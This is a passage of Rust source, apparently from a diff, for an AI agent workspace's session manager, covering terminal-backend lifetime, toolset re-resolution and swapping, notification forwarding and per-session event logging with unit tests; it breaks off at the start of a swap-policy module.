/// re-resolve reuses it, so background tasks and shell state survive
/// toolset swaps. Its child processes die only via `kill_task`,
/// [`Self::shutdown_terminal_backend`] (`drop_session`/evict), or process
/// exit.
///
/// Local-mode exception: `bind_local_session` installs an externally
/// built toolset via plain [`Self::replace`], so that toolset's
/// `Terminal` resource is the shell's own backend while this one sits
/// idle as the sole safe teardown target. Never adopt an externally
/// owned backend into this field (drop/evict would SIGKILL a backend
/// shared with the shell) and never query this field for the live task
/// table — the toolset's `Terminal` resource is the source of truth.
terminal_backend: crate::config::SessionTerminalBackend,
/// Canonical JSON of the explicit `session.bind` toolset this session was
/// created (or last rebound) with. `None` when the session was resolved
/// from the workspace default (no explicit toolset in the bind metadata).
/// Lets a rebind detect a config change and re-resolve instead of silently
/// reusing a stale toolset (e.g. a session created by a metadata-less
/// hub revive bind that a config-carrying client rebind must correct).
bind_tool_config_fingerprint: std::sync::Mutex<Option<serde_json::Value>>,
/// The last snapshot-driven rebuild failed and kept a stale toolset;
/// cleared by any successful install. While set, an identical-config
/// re-apply (update RPC or owner rebind) heals instead of reusing.
stale_resolve: std::sync::atomic::AtomicBool,
/// Whether this session forwards `BackgroundTaskCompleted` system notifications.
#[allow(dead_code)]
system_notifications: bool,
/// Per-session notification sender, re-applied across toolset re-resolves.
system_notify_handle: Option<ToolNotificationHandle>,
/// Receiver paired with `system_notify_handle`, taken once by the forwarder.
#[allow(dead_code)]
pending_notif_rx:
tokio::sync::Mutex<Option<tokio::sync::mpsc::UnboundedReceiver<ToolNotification>>>,
/// Spawned forwarder handle; aborted on teardown. Sync mutex so the sync
/// teardown path can abort without an await.
system_notify_forwarder: std::sync::Mutex<Option<tokio::task::JoinHandle<()>>>,
}
struct WorkspaceSessionInner {
effective_tool_config: Arc<ToolServerConfig>,
toolset: Arc<FinalizedToolset>,
}
impl std::fmt::Debug for WorkspaceSession {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
f.debug_struct("WorkspaceSession")
.field("session_id", &self.session_id)
.field("cwd", &self.cwd)
.field("capability_mode", &self.capability_mode)
.field("depth", &self.depth)
.field("fork_budget", &self.fork_budget)
.finish_non_exhaustive()
}
}
impl WorkspaceSession {
pub(crate) fn new(
session_id: String,
cwd: PathBuf,
session_env: Arc<HashMap<String, String>>,
capability_mode: CapabilityMode,
depth: u32,
fork_budget: u32,
effective_tool_config: Arc<ToolServerConfig>,
toolset: Arc<FinalizedToolset>,
terminal_backend: crate::config::SessionTerminalBackend,
hunk_tracker: HunkTrackerHandle,
viewer_ctx: Option<WorkspaceViewerContext>,
#[allow(dead_code)] system_notifications: bool,
system_notify_channel: Option<(
ToolNotificationHandle,
tokio::sync::mpsc::UnboundedReceiver<ToolNotification>,
)>,
) -> Self {
let (system_notify_handle, pending_notif_rx) = match system_notify_channel {
Some((handle, rx)) => (Some(handle), Some(rx)),
None => (None, None),
};
let async_fs = AsyncFsWrapper::new(Arc::new(LocalFs::new(cwd.clone())));
let file_state_tracker = Arc::new(FileStateTracker::new());
let checkpoint_store =
crate::session::checkpoint_store::CheckpointStore::new(&cwd, &session_id);
Self {
session_id,
cwd,
session_env,
capability_mode,
depth,
fork_budget,
hunk_tracker,
file_state_tracker,
hunk_checkpoints: Arc::new(tokio::sync::Mutex::new(HashMap::new())),
git_checkpoints: crate::session::git::GitCheckpointStore::new(),
checkpoint_store,
async_fs,
inner: RwLock::new(WorkspaceSessionInner {
effective_tool_config,
toolset,
}),
terminal_backend,
update_lock: tokio::sync::Mutex::new(()),
bind_tool_config_fingerprint: std::sync::Mutex::new(None),
stale_resolve: std::sync::atomic::AtomicBool::new(false),
mcp_state: Arc::new(tokio::sync::Mutex::new(McpState::new(vec![]))),
mcp_bridges: tokio::sync::Mutex::new(Vec::new()),
mcp_tool_ids: tokio::sync::Mutex::new(Vec::new()),
viewer_ctx,
yolo_mode: std::sync::atomic::AtomicBool::new(false),
system_notifications,
system_notify_handle,
#[allow(dead_code)]
pending_notif_rx: tokio::sync::Mutex::new(pending_notif_rx),
system_notify_forwarder: std::sync::Mutex::new(None),
}
}
/// Whether this session opted into `BackgroundTaskCompleted` system
/// notifications.
#[allow(dead_code)]
pub(crate) fn system_notifications(&self) -> bool {
self.system_notifications
}
/// The per-session notification sender, re-applied on every toolset
/// re-resolve so notifications keep flowing to the forwarder's channel.
pub(crate) fn system_notify_handle(&self) -> Option<ToolNotificationHandle> {
self.system_notify_handle.clone()
}
/// Take the stashed notification receiver (once) for the per-session
/// forwarder to own.
#[allow(dead_code)]
pub(crate) async fn take_pending_notif_rx(
&self,
) -> Option<tokio::sync::mpsc::UnboundedReceiver<ToolNotification>> {
self.pending_notif_rx.lock().await.take()
}
/// Store the spawned forwarder handle, aborting any previous one.
#[allow(dead_code)]
pub(crate) fn set_system_notify_forwarder(&self, handle: tokio::task::JoinHandle<()>) {
let mut guard = self
.system_notify_forwarder
.lock()
.unwrap_or_else(|e| e.into_inner());
if let Some(old) = guard.replace(handle) {
old.abort();
}
}
/// Abort the per-session system-notify forwarder on teardown.
pub(crate) fn abort_system_notify_forwarder(&self) {
if let Some(handle) = self
.system_notify_forwarder
.lock()
.unwrap_or_else(|e| e.into_inner())
.take()
{
handle.abort();
}
}
pub fn session_id(&self) -> &str {
&self.session_id
}
pub fn cwd(&self) -> &Path {
&self.cwd
}
pub fn session_env(&self) -> &Arc<HashMap<String, String>> {
&self.session_env
}
pub fn capability_mode(&self) -> CapabilityMode {
self.capability_mode
}
pub fn depth(&self) -> u32 {
self.depth
}
pub fn fork_budget(&self) -> u32 {
self.fork_budget
}
pub fn hunk_tracker(&self) -> &HunkTrackerHandle {
&self.hunk_tracker
}
/// Per-user feature-flag bag resolved at session-bind time.
pub fn viewer_ctx(&self) -> Option<&WorkspaceViewerContext> {
self.viewer_ctx.as_ref()
}
pub fn yolo_mode(&self) -> bool {
self.yolo_mode.load(std::sync::atomic::Ordering::Relaxed)
}
pub fn set_yolo_mode(&self, enabled: bool) {
self.yolo_mode
.store(enabled, std::sync::atomic::Ordering::Relaxed);
}
pub fn file_state_tracker(&self) -> &Arc<FileStateTracker> {
&self.file_state_tracker
}
/// Git domain of the per-prompt rewind checkpoints.
pub fn git_checkpoints(&self) -> &crate::session::git::GitCheckpointStore {
&self.git_checkpoints
}
pub fn async_fs(&self) -> &AsyncFsWrapper {
&self.async_fs
}
/// The session-lifetime terminal backend, injected into every toolset
/// re-resolve so background tasks and shell state survive swaps.
pub(crate) fn terminal_backend(
&self,
) -> &Arc<dyn kigi_tools::computer::types::TerminalBackend> {
self.terminal_backend.backend()
}
/// Explicitly shut the session's terminal backend down (kills all of its
/// child process groups and stops its actor). Called by
/// `drop_session`/evict so task teardown does not depend on when the last
/// toolset `Arc` drops.
pub(crate) fn shutdown_terminal_backend(&self) {
self.terminal_backend.shutdown();
}
/// Return the current resolved toolset (snapshot).
pub fn toolset(&self) -> Arc<FinalizedToolset> {
self.inner.read().toolset.clone()
}
/// Whether the current toolset's `Terminal` resource is the session-owned
/// backend. `false` means the toolset is externally owned — the local
/// (shell) mode shape installed by `bind_local_session`, where the shell's
/// own backend rides the toolset and the session-owned backend is an idle
/// decoy. Rebuild paths must skip such sessions: finalizing around
/// [`Self::terminal_backend`] would swap the decoy into the toolset and
/// detach tools from the shell's live task table. A toolset with no
/// `Terminal` resource counts as session-owned (nothing to detach).
pub(crate) async fn toolset_terminal_is_session_owned(&self) -> bool {
let toolset = self.toolset();
let res = toolset.resources.lock().await;
match res.get::<kigi_tools::types::resources::Terminal>() {
Some(t) => Arc::ptr_eq(&t.0, self.terminal_backend()),
None => true,
}
}
/// Return the current effective tool config baseline.
pub fn effective_tool_config(&self) -> Arc<ToolServerConfig> {
self.inner.read().effective_tool_config.clone()
}
/// Whether `fingerprint` matches the explicit bind toolset this session
/// was created (or last rebound) with. `None` = default resolution.
#[cfg(test)]
pub(crate) fn bind_tool_config_matches(&self, fingerprint: Option<&serde_json::Value>) -> bool {
let guard = self
.bind_tool_config_fingerprint
.lock()
.unwrap_or_else(|e| e.into_inner());
guard.as_ref() == fingerprint
}
/// Whether the last snapshot-driven rebuild failed and left the live
/// toolset stale w.r.t. the current MCP/hub snapshots.
pub(crate) fn stale_resolve(&self) -> bool {
self.stale_resolve
.load(std::sync::atomic::Ordering::Relaxed)
}
/// Mark the live toolset stale: a snapshot-driven rebuild failed and the
/// previous toolset was kept.
pub(crate) fn mark_stale_resolve(&self) {
self.stale_resolve
.store(true, std::sync::atomic::Ordering::Relaxed);
}
/// Clear the stale marker: a freshly resolved toolset was installed.
pub(crate) fn clear_stale_resolve(&self) {
self.stale_resolve
.store(false, std::sync::atomic::Ordering::Relaxed);
}
/// Record the explicit bind toolset (or `None` for a default resolution)
/// this session's toolset was resolved from.
///
/// Unconditional: callers must pair this with the toolset swap under the
/// session's `update_lock` so fingerprint and live toolset cannot diverge.
pub(crate) fn set_bind_tool_config_fingerprint(&self, fingerprint: Option<serde_json::Value>) {
*self
.bind_tool_config_fingerprint
.lock()
.unwrap_or_else(|e| e.into_inner()) = fingerprint;
}
/// [`Self::set_bind_tool_config_fingerprint`], but only when no
/// fingerprint was recorded yet. The `session.bind` create path uses this
/// (outside `update_lock`): a concurrent rebind can race between session
/// insertion and this call, swap in its own toolset, and record its
/// fingerprint under the lock — which this set-if-unset then must not
/// clobber, or the stored fingerprint would describe a toolset that is no
/// longer live.
pub(crate) fn set_bind_tool_config_fingerprint_if_unset(
&self,
fingerprint: Option<serde_json::Value>,
) {
let mut guard = self
.bind_tool_config_fingerprint
.lock()
.unwrap_or_else(|e| e.into_inner());
if guard.is_none() {
*guard = fingerprint;
}
}
/// Replace both the baseline config and the resolved toolset atomically.
///
/// TOOL-STATE CAVEAT: the outgoing toolset is not flushed here, so an
/// in-process rebuild can drop up to one debounce window (≤500 ms) of
/// unpersisted state. Intentionally not "fixed" with a flush-before-rebuild:
/// tool `call()` does not hold `update_lock`, so a concurrent call would
/// still race. Restart/snapshot scenarios are unaffected.
pub(crate) fn replace(
&self,
new_effective_tool_config: Arc<ToolServerConfig>,
new_toolset: Arc<FinalizedToolset>,
) {
let mut w = self.inner.write();
w.effective_tool_config = new_effective_tool_config;
w.toolset = new_toolset;
}
/// [`Self::replace`], but first carries the session's
/// `BrowserServiceHandle` from the old toolset into the new one.
/// Rebuilds produce a fresh `FinalizedToolset`, so the browser service
/// seeded post-finalize (`finalize_session_setup`) must be carried
/// forward or the session's live browser state is lost.
///
/// Without the optional browser backend there is no browser service to carry;
/// only the terminal-orphan diagnostic runs before the swap.
///
/// Callers must hold the session's `update_lock` so the read-then-swap
/// cannot interleave with another rebuild.
pub(crate) async fn replace_carrying_browser_service(
&self,
new_effective_tool_config: Arc<ToolServerConfig>,
new_toolset: Arc<FinalizedToolset>,
) {
let old_toolset = self.toolset();
let old_terminal = {
let res = old_toolset.resources.lock().await;
res.get::<kigi_tools::types::resources::Terminal>()
.map(|t| t.0.clone())
};
if let Some(old_terminal) = old_terminal
&& !Arc::ptr_eq(&old_terminal, self.terminal_backend())
{
crate::handle::WORKSPACE_TERMINAL_BACKEND_ORPHANED_TOTAL
.with_label_values(&["swap"])
.inc();
tracing::error!(
session_id = % self.session_id,
"toolset swap: outgoing toolset's terminal backend is not the \
session-owned one — its background tasks die with the old toolset"
);
}
self.replace(new_effective_tool_config, new_toolset);
}
}
/// Sink for delivering a workspace-originated ext-notification (method +
/// params JSON) to the client. The shell installs the concrete delivery:
/// the agent gateway in local mode, the server transport in proxy mode.
pub type ClientExtSink = std::sync::Arc<dyn Fn(String, serde_json::Value) + Send + Sync>;
/// Workspace-wide shared state.
pub struct WorkspaceShared {
pub(crate) default_tool_config: ToolServerConfig,
/// Require an explicit toolset on every `session.bind`; see
/// [`crate::config::WorkspaceConfig::require_explicit_toolset`].
pub(crate) require_explicit_toolset: bool,
/// See [`crate::config::WorkspaceConfig::confine_fs_to_workspace_root`].
/// Default `false`; enabled only for remote-sandbox workspace servers.
pub(crate) confine_fs_to_workspace_root: bool,
/// Workspace root directory. Independent of any session — stored
/// here so it survives session creation/deletion.
pub(crate) root_cwd: std::path::PathBuf,
pub(crate) sessions: RwLock<HashMap<String, Arc<WorkspaceSession>>>,
pub(crate) session_factory: Arc<dyn SessionContextFactory>,
pub(crate) mcp_tools_snapshot: arc_swap::ArcSwap<Vec<ToolConfig>>,
pub(crate) events: tokio::sync::broadcast::Sender<kigi_workspace_types::WorkspaceEvent>,
pub(crate) respect_gitignore: bool,
pub(crate) memory_config: Option<MemoryConfig>,
pub(crate) hook_registry: Arc<parking_lot::RwLock<kigi_hooks::discovery::HookRegistry>>,
pub(crate) hook_load_errors: Vec<kigi_hooks::error::HookError>,
/// Skill discovery configuration (extra paths, ignore prefixes).
/// Used by `discover_skills` via the `discovery` module.
pub(crate) skills_config: crate::discovery::SkillsConfig,
/// Plugin discovery configuration (CLI dirs, config paths,
/// disabled/enabled lists). Used by `discover_plugins` via the
/// `discovery` module.
pub(crate) plugin_discovery_config: crate::discovery::PluginDiscoveryConfig,
/// Live server connection handle. `None` until
/// [`WorkspaceHandle::connect_hub`](crate::handle::WorkspaceHandle::connect_hub)
/// is called (or if no [`HubConfig`] was provided).
///
/// Uses `tokio::sync::Mutex` so the guard can be held across the
/// async `HubHandle::connect()` call, preventing TOCTOU races.
pub(crate) hub_handle: tokio::sync::Mutex<Option<HubHandle>>,
/// Remote-origin tool configs (consumer direction), updated by the
/// notification listener.
pub(crate) hub_tools_snapshot: arc_swap::ArcSwap<Vec<ToolConfig>>,
/// Server config stashed at construction time for deferred connect.
pub(crate) hub_config: Option<HubConfig>,
/// Auth provider for xAI service calls.
pub(crate) auth_provider: Option<kigi_computer_hub_sdk::SharedAuthProvider>,
/// Connection-level sink feeding the `ActivityTracker` (drained by
/// `run_activity_feed`); not a network egress. `None` until `connect_hub()` sets it.
pub(crate) activity_notify_handle:
arc_swap::ArcSwap<Option<kigi_tools::notification::types::ToolNotificationHandle>>,
/// Sink for workspace-originated ext-notifications to the client (e.g.
/// `x.ai/search/fuzzy/status`). Mode-agnostic: the shell wires it to the
/// agent gateway in local mode, and to the server in proxy mode. `None` until
/// set via [`WorkspaceHandle::set_client_ext_sink`](crate::handle::WorkspaceHandle::set_client_ext_sink).
pub(crate) client_ext_sink: arc_swap::ArcSwap<Option<ClientExtSink>>,
pub(crate) local_registry: kigi_computer_hub_sdk::LocalRegistry,
pub(crate) activity_tracker: std::sync::Arc<crate::activity::ActivityTracker>,
/// Runtime-tunable timing/threshold config for the tool server.
/// Read by the status publisher task and at shutdown.
pub(crate) status_config: crate::status_config::StatusConfig,
/// Opaque metadata for the tool server registration, forwarded verbatim to
/// the server; structured access goes through
/// [`WorkspaceShared::server_metadata_typed`].
pub(crate) server_metadata: Option<serde_json::Value>,
/// Workspace-level fuzzy search manager. Separate from the shell's
/// own `FuzzySearchManager` — this instance serves remote (hub/RPC)
/// clients.
pub(crate) fuzzy_searches:
std::sync::Arc<tokio::sync::Mutex<crate::file_system::FuzzySearchManager>>,
pub(crate) lsp: Option<std::sync::Arc<dyn kigi_tools::implementations::lsp::LspBackend>>,
pub(crate) codebase_indexes:
std::sync::Arc<parking_lot::Mutex<crate::file_system::CodebaseIndexManager>>,
/// Finalize the FS rewind checkpoint on non-`Completed` turn-end outcomes
/// (from `KIGI_WORKSPACE_REWIND_ALL_OUTCOMES`, default off).
pub(crate) workspace_rewind_all_outcomes: bool,
/// Resolved `$KIGI_WORKSPACE_HOME` — the workspace-owned on-disk state root
/// (`<kigi_home>/workspace` by default).
pub(crate) workspace_home: std::path::PathBuf,
/// Whether per-session `events.jsonl` recording is enabled
/// (`KIGI_WORKSPACE_EVENTS_ENABLED=true`). When `false`, every
/// [`session_event_writer`](Self::session_event_writer) hands back an
/// [`EventWriter::noop()`](kigi_file_utils::events::EventWriter::noop) and
/// no session directory or `events.jsonl` is ever created — the legacy
/// behaviour, preserved bit-for-bit.
pub(crate) events_enabled: bool,
/// Per-session `events.jsonl` writers, keyed by `session_id`. Lazily opened
/// on first use under `workspace_home/sessions/{session_id}/`. Held in an
/// `Arc` shared with [`ActivityTracker`](crate::activity::ActivityTracker) so
/// `Tool*` events resolve the right writer without a back-reference to
/// `WorkspaceShared`. Stays empty whenever `events_enabled` is `false`.
pub(crate) session_event_writers:
Arc<dashmap::DashMap<String, kigi_file_utils::events::EventWriter>>,
/// `(path, size, mtime_ms) → sha256` memo for the client-facing
/// `workspace.client_fs_*` ops, so unchanged files hash once per
/// workspace instead of per stat/read.
/// Test-only seam: runs after the toolset re-resolve returns and before
/// the post-resolve turn re-check / install in
/// `resolve_and_swap_session_toolset_locked`, so tests can interleave a
/// turn start inside the check→install window deterministically.
#[cfg(test)]
pub(crate) post_resolve_test_hook: parking_lot::Mutex<Option<Box<dyn Fn() + Send + Sync>>>,
pub(crate) client_fs_hash_memo: crate::file_system::client_fs::FileHashMemo,
}
impl WorkspaceShared {
/// Workspace root directory.
pub fn root_cwd(&self) -> &std::path::Path {
&self.root_cwd
}
/// Resolved `$KIGI_WORKSPACE_HOME` — the workspace-owned on-disk state root.
pub fn workspace_home(&self) -> &std::path::Path {
&self.workspace_home
}
/// Return the per-session `events.jsonl` writer for `session_id`, opening
/// (and caching) it on first use under
/// `workspace_home/sessions/{session_id}/`.
///
/// When `events_enabled` is `false` this returns
/// [`EventWriter::noop()`](kigi_file_utils::events::EventWriter::noop)
/// WITHOUT touching the cache or the filesystem, so the flag-off path stays
/// byte-for-byte identical to the legacy behaviour. The returned handle is
/// `Clone + Send + Sync`; callers emit through it directly.
pub(crate) fn session_event_writer(
&self,
session_id: &str,
) -> kigi_file_utils::events::EventWriter {
get_or_open_session_writer(
self.events_enabled,
&self.session_event_writers,
&self.workspace_home,
session_id,
)
}
/// Like `session_event_writer` but never opens a new writer. Returns `None`
/// if the session was never opened or already evicted.
#[allow(dead_code)]
pub(crate) fn session_event_writer_cached(
&self,
session_id: &str,
) -> Option<kigi_file_utils::events::EventWriter> {
if !self.events_enabled {
return None;
}
self.session_event_writers
.get(session_id)
.map(|w| w.value().clone())
}
/// Stable hub server id (`--server-id`), if a hub config is present.
pub(crate) fn server_id(&self) -> Option<String> {
self.hub_config.as_ref().and_then(|c| c.server_id.clone())
}
/// Auth provider used for xAI service calls.
pub fn auth_provider(&self) -> Option<&kigi_computer_hub_sdk::SharedAuthProvider> {
self.auth_provider.as_ref()
}
/// Parse the opaque [`server_metadata`](Self::server_metadata) blob into
/// the typed subset the workspace needs (currently `sandbox_id`);
/// unknown/missing fields default cleanly. A present-but-malformed blob is
/// logged and salvaged field-by-field (a bad sibling field must not
/// silently drop `sandbox_id` from every environment artifact).
pub(crate) fn server_metadata_typed(&self) -> crate::config::WorkspaceServerMetadata {
let Some(v) = self.server_metadata.as_ref() else {
return Default::default();
};
match serde_json::from_value(v.clone()) {
Ok(typed) => typed,
Err(e) => {
tracing::warn!(
error = % e,
"workspace: malformed server_metadata; salvaging sandbox_id field-wise"
);
crate::config::WorkspaceServerMetadata {
sandbox_id: v
.get("sandbox_id")
.and_then(serde_json::Value::as_str)
.map(str::to_owned),
..Default::default()
}
}
}
}
pub fn default_tool_config(&self) -> &ToolServerConfig {
&self.default_tool_config
}
pub fn respect_gitignore(&self) -> bool {
self.respect_gitignore
}
pub fn memory_config(&self) -> Option<&MemoryConfig> {
self.memory_config.as_ref()
}
pub fn mcp_tools_snapshot(&self) -> Arc<Vec<ToolConfig>> {
self.mcp_tools_snapshot.load_full()
}
/// The tool server, if a server connection is active.
///
/// Returns a clone of the [`ToolServer`](kigi_computer_hub_sdk::ToolServer)
/// which is cheap (`Arc` bump). Uses `try_lock` to avoid blocking
/// on the async mutex from synchronous contexts. Returns `None` if
/// the lock is held (i.e. a `connect_hub` call is in progress).
pub fn hub_server(&self) -> Option<kigi_computer_hub_sdk::ToolServer> {
self.hub_handle
.try_lock()
.ok()
.and_then(|guard| guard.as_ref().map(|h| h.server.clone()))
}
/// Like [`Self::hub_server`] but awaits the `hub_handle` lock instead of
/// returning `None` on contention. Use from async contexts that must not
/// confuse a transient `connect_hub` lock-hold with "no hub connected";
/// `None` means no hub is connected.
pub async fn hub_server_blocking(&self) -> Option<kigi_computer_hub_sdk::ToolServer> {
self.hub_handle
.lock()
.await
.as_ref()
.map(|h| h.server.clone())
}
/// Current snapshot of hub-provided tool configs (consumer direction).
pub fn hub_tools_snapshot(&self) -> Arc<Vec<ToolConfig>> {
self.hub_tools_snapshot.load_full()
}
/// Compose a session's tool `ctx.notification_handle` as a fan-out of the
/// connection-level activity feed (internal tracker accounting) and the
/// opt-in per-session `system.notify` sender. Only the `system.notify` leg
/// reaches a client, so the fan-out can't double-wake. `None` → factory default.
pub(crate) fn compose_session_notification_handle(
&self,
system_notify_handle: Option<ToolNotificationHandle>,
) -> Option<ToolNotificationHandle> {
let activity = self.activity_notify_handle.load_full().as_ref().clone();
match (activity, system_notify_handle) {
(None, None) => None,
(Some(a), None) => Some(a),
(None, Some(s)) => Some(s),
(Some(a), Some(s)) => Some(ToolNotificationHandle::tee(vec![a, s])),
}
}
pub fn activity_tracker(&self) -> &std::sync::Arc<crate::activity::ActivityTracker> {
&self.activity_tracker
}
pub fn fuzzy_searches(
&self,
) -> &std::sync::Arc<tokio::sync::Mutex<crate::file_system::FuzzySearchManager>> {
&self.fuzzy_searches
}
pub fn subscribe_events(
&self,
) -> tokio::sync::broadcast::Receiver<kigi_workspace_types::WorkspaceEvent> {
self.events.subscribe()
}
pub fn codebase_indexes(
&self,
) -> &std::sync::Arc<parking_lot::Mutex<crate::file_system::CodebaseIndexManager>> {
&self.codebase_indexes
}
/// Skill discovery configuration (extra paths and ignore
/// prefixes). Used by the `discovery` module when the channel's
/// `discover_skills` method is called.
pub fn skills_config(&self) -> &crate::discovery::SkillsConfig {
&self.skills_config
}
/// Plugin discovery configuration (CLI dirs, config paths,
/// disabled/enabled lists). Used by the `discovery` module when
/// the channel's `discover_plugins` method is called.
pub fn plugin_discovery_config(&self) -> &crate::discovery::PluginDiscoveryConfig {
&self.plugin_discovery_config
}
/// Re-resolve every session's toolset and emit `ToolsChanged` events.
///
/// Shared implementation used by `on_mcp_snapshot_changed`,
/// `on_hub_tools_changed`, and the server notification listener.
///
/// When `use_async_lock` is true, uses `.lock().await` on each
/// session's `update_lock` (appropriate for spawned async tasks
/// where notifications must not be silently lost). When false,
/// uses `try_lock()` and skips sessions whose lock is held.
pub(crate) async fn re_resolve_all_sessions(
self: &Arc<Self>,
source: &str,
use_async_lock: bool,
) -> usize {
use crate::session::swap_policy::{
SessionSnapshot, SwapAction, SwapDecision, SwapPolicy, SwapTrigger,
record_swap_decision,
};
let trigger = SwapTrigger::from_rebuild_source(source);
let mcp_snap = self.mcp_tools_snapshot.load_full();
let hub_snap = self.hub_tools_snapshot.load_full();
let sessions: Vec<(String, Arc<WorkspaceSession>)> = {
let guard = self.sessions.read();
guard
.iter()
.map(|(id, s)| (id.clone(), s.clone()))
.collect()
};
let mut rebuilt = 0usize;
for (sid, session) in sessions {
let guard = if use_async_lock {
session.update_lock.lock().await
} else {
match session.update_lock.try_lock() {
Ok(g) => g,
Err(_) => {
tracing::trace!(
session = % sid, source = % source,
"skipping rebuild: session update_lock held"
);
continue;
}
}
};
let snapshot =
SessionSnapshot::capture_for_rebuild(&session, &self.activity_tracker).await;
match SwapPolicy::evaluate(&snapshot, trigger) {
SwapDecision::Apply => {}
SwapDecision::Skip(reason) => {
record_swap_decision(
&self.activity_tracker,
trigger,
&sid,
SwapAction::Skipped(reason),
);
tracing::warn!(
session = % sid, source = % source,
"skipping rebuild: toolset terminal backend is externally \
owned (local bind)"
);
drop(guard);
continue;
}
decision @ (SwapDecision::Reuse | SwapDecision::Defer(_)) => {
debug_assert!(
false,
"snapshot rebuild produced a non-rebuild decision: {decision:?}"
);
tracing::error!(
session = % sid, source = % source, ? decision,
"skipping rebuild: snapshot rebuild policy returned a \
non-rebuild decision (policy regression)"
);
drop(guard);
continue;
}
}
let baseline = (*session.effective_tool_config()).clone();
match crate::session::tool_config::resolve_session_toolset_rebuild(
baseline,
session.capability_mode(),
&mcp_snap,
&hub_snap,
session.cwd().to_path_buf(),
session.session_env().clone(),
&sid,
self.session_factory.as_ref(),
Some(self.local_registry.clone()),
self.lsp.clone(),
session.viewer_ctx().cloned(),
self.compose_session_notification_handle(session.system_notify_handle()),
session.terminal_backend().clone(),
) {
Ok((effective, toolset)) => {
session
.replace_carrying_browser_service(Arc::new(effective), toolset)
.await;
session.clear_stale_resolve();
record_swap_decision(
&self.activity_tracker,
trigger,
&sid,
SwapAction::Applied,
);
let _ = self
.events
.send(kigi_workspace_types::WorkspaceEvent::ToolsChanged {
session_id: sid,
});
rebuilt += 1;
}
Err(e) => {
session.mark_stale_resolve();
record_swap_decision(
&self.activity_tracker,
trigger,
&sid,
SwapAction::ApplyFailed,
);
tracing::warn!(
session = % sid, source = % source, error = % e,
"snapshot rebuild failed for session"
);
}
}
drop(guard);
}
rebuilt
}
}
/// Core get-or-open logic for a session's `events.jsonl` writer, factored out of
/// [`WorkspaceShared::session_event_writer`] so the `enabled` gate can be
/// unit-tested without touching process environment.
///
/// - `enabled == false` → [`EventWriter::noop()`]; the `writers` map and the
/// filesystem are left untouched (legacy behaviour preserved).
/// - `enabled == true` → returns the cached writer for `session_id`, opening a
/// fresh one (and creating `workspace_home/sessions/{session_id}/`) on first
/// use. [`EventWriter::open`] uses `create(true).append(true)`, so a writer
/// re-opened for the same directory after a workspace restart APPENDS to the
/// existing `events.jsonl` rather than truncating it.
pub(crate) fn get_or_open_session_writer(
enabled: bool,
writers: &dashmap::DashMap<String, kigi_file_utils::events::EventWriter>,
workspace_home: &Path,
session_id: &str,
) -> kigi_file_utils::events::EventWriter {
use kigi_file_utils::events::EventWriter;
if !enabled {
return EventWriter::noop();
}
if let Some(existing) = writers.get(session_id) {
return existing.value().clone();
}
let dir = workspace_home.join("sessions").join(session_id);
if let Err(e) = std::fs::create_dir_all(&dir) {
tracing::warn!(
session_id = % session_id, dir = % dir.display(), error = % e,
"failed to create session event dir; events.jsonl disabled for this session (will retry on next use)"
);
return EventWriter::noop();
}
let writer = EventWriter::open(&dir);
writers
.entry(session_id.to_owned())
.or_insert(writer)
.clone()
}
#[cfg(test)]
mod tests {
use super::get_or_open_session_writer;
use dashmap::DashMap;
use kigi_file_utils::events::{Event, EventWriter};
fn count_lines(path: &std::path::Path) -> usize {
std::fs::read_to_string(path)
.unwrap()
.trim()
.lines()
.count()
}
#[test]
fn flag_off_returns_noop_and_creates_nothing() {
let home = tempfile::tempdir().unwrap();
let writers: DashMap<String, EventWriter> = DashMap::new();
let w = get_or_open_session_writer(false, &writers, home.path(), "sess-a");
w.emit(Event::ToolStarted {
tool_name: "read_file".into(),
});
assert!(writers.is_empty(), "flag-off must not cache a writer");
let sess_dir = home.path().join("sessions").join("sess-a");
assert!(
!sess_dir.exists(),
"flag-off must not create the session dir or events.jsonl"
);
}
#[test]
fn flag_on_opens_and_writes_real_content() {
let home = tempfile::tempdir().unwrap();
let writers: DashMap<String, EventWriter> = DashMap::new();
let w = get_or_open_session_writer(true, &writers, home.path(), "sess-b");
w.emit(Event::YoloToggled { enabled: true });
assert_eq!(writers.len(), 1, "flag-on must cache the opened writer");
let path = home
.path()
.join("sessions")
.join("sess-b")
.join("events.jsonl");
let text = std::fs::read_to_string(&path).unwrap();
let v: serde_json::Value = serde_json::from_str(text.trim()).unwrap();
assert_eq!(v["type"], "yolo_toggled");
assert_eq!(v["enabled"], true);
assert!(v["ts"].as_str().is_some());
}
#[test]
fn second_call_reuses_one_cache_entry() {
let home = tempfile::tempdir().unwrap();
let writers: DashMap<String, EventWriter> = DashMap::new();
get_or_open_session_writer(true, &writers, home.path(), "sess-c").emit(
Event::ToolStarted {
tool_name: "a".into(),
},
);
get_or_open_session_writer(true, &writers, home.path(), "sess-c").emit(
Event::ToolStarted {
tool_name: "b".into(),
},
);
assert_eq!(writers.len(), 1, "same session must reuse one cache entry");
let path = home
.path()
.join("sessions")
.join("sess-c")
.join("events.jsonl");
assert_eq!(count_lines(&path), 2);
}
#[test]
fn reopen_after_restart_appends() {
let home = tempfile::tempdir().unwrap();
{
let writers: DashMap<String, EventWriter> = DashMap::new();
get_or_open_session_writer(true, &writers, home.path(), "sess-d").emit(
Event::ToolStarted {
tool_name: "before-restart".into(),
},
);
}
{
let writers: DashMap<String, EventWriter> = DashMap::new();
get_or_open_session_writer(true, &writers, home.path(), "sess-d").emit(
Event::ToolStarted {
tool_name: "after-restart".into(),
},
);
}
let path = home
.path()
.join("sessions")
.join("sess-d")
.join("events.jsonl");
let text = std::fs::read_to_string(&path).unwrap();
let lines: Vec<&str> = text.trim().lines().collect();
assert_eq!(
lines.len(),
2,
"re-open after restart must append, preserving the earlier line"
);
let first: serde_json::Value = serde_json::from_str(lines[0]).unwrap();
assert_eq!(first["tool_name"], "before-restart");
let second: serde_json::Value = serde_json::from_str(lines[1]).unwrap();
assert_eq!(second["tool_name"], "after-restart");
}
}
@@ -0,0 +1,779 @@
//! Toolset-swap guard policy: every trigger evaluates the one decision table,
//! [`SwapPolicy::evaluate`] over a [`SessionSnapshot`]. The exhaustive match
//! is the spec; the matrix test's `expected_decision` mirrors it row by row.
use prometheus::{IntCounterVec, register_int_counter_vec};
use crate::activity::ActivityTracker;
use crate::session::WorkspaceSession;
/// Toolset installs/swaps by trigger (`create`/`fork`/`owner_rebind`/
/// `update_tool_config`/`mcp_snapshot`/`hub_tools`/`other`) plus the guard
/// state at swap time; record via [`record_toolset_swap`] only.
pub(crate) static WORKSPACE_TOOLSET_SWAP_TOTAL: std::sync::LazyLock<IntCounterVec> =
